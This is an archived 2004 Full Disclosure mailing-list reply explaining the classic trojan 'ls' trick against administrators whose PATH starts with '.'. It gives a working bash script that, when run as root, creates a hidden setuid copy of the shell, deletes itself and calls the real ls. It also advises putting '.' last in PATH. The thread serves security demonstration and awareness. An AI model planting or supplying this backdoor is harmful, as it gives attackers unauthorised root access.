Full Disclosure mailing list archives
Re: Old LS Trojan?
From: Andrew Farmer <andfarm () teknovis com>
Date: Wed, 1 Dec 2004 14:27:40 -0800
On 01 Dec 2004, at 12:11, David S. Morgan wrote:
I am looking for an old LS trojan, with trojan being a misnomer. Essentially, the scinario is that the admin (root) has a . (dot) in his path. The bad-user knows this, and has crafted an LS shell script (the part that I can't find) that essentially copies /sbin/sh to a hidden directory and then performs some suid majik to make the sh run as if they were root, without needing the root password. The file then removes itself and does the real version of ls.Does anyone remember this one, and have the ls script anywhere? I would like to use it in a demonstration. I know that this has probobly been fixed in various ways, but I have "old Unixes" for just such occasions.
Probably something along the lines of:
#!/bin/bash [ `whoami` = root ] || exit cp /bin/sh /bin/suid-sh chmod +s /bin/suid-sh rm $0 exec /bin/ls $*
Note that this would only run if your $PATH _begins_ with '.' - if you're going to put '.' in your $PATH, put it _last_.
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Current thread:
- Old LS Trojan? David S. Morgan (Dec 01)
- Re: Old LS Trojan? Kevin Finisterre (Dec 01)
- Re: Old LS Trojan? Scott Renna (Dec 01)
- Re: Old LS Trojan? Valdis . Kletnieks (Dec 01)
- Re: Old LS Trojan? Andrew Farmer (Dec 01)
- Re: Old LS Trojan? colinm () clientsecure net (Dec 01)
- Re: Old LS Trojan? J.A. Terranson (Dec 01)
- Re: Old LS Trojan? Kevin Finisterre (Dec 01)